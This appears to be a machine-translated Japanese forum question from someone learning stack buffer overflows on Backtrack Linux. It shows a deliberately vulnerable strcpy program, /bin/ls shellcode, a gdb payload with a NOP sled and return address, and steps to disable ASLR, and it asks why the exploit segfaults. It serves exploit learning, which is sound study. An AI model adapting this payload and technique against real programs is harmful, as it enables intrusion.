Backtrack Linux で単純な bufferover フロー手法を活用する方法を学ぼうとしています。
ここに私のCプログラムがあります
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
これは私が使用しているシェルコードで、単純な/bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec に対応しています\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
次のコマンドを使用して、このシェルコードを gdb に挿入します
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
アプリケーションをステップ実行するとSIG FAULT
、最終的なret
命令が生成されます。その時点EIP
で は正しく に設定されてい0xffffd30c
ます。このアドレスはアドレス指定可能NOP
で、ペイロードに示されているように、一連の の後に私のシェル コードが続きます。
ASLR を無効にしました
sudo echo 0 > /proc/sys/kernel/randomize_va_space
fno-stack-protector
また、オプションを使用してバイナリをコンパイルしました。
SIGSEGV の原因は何ですか?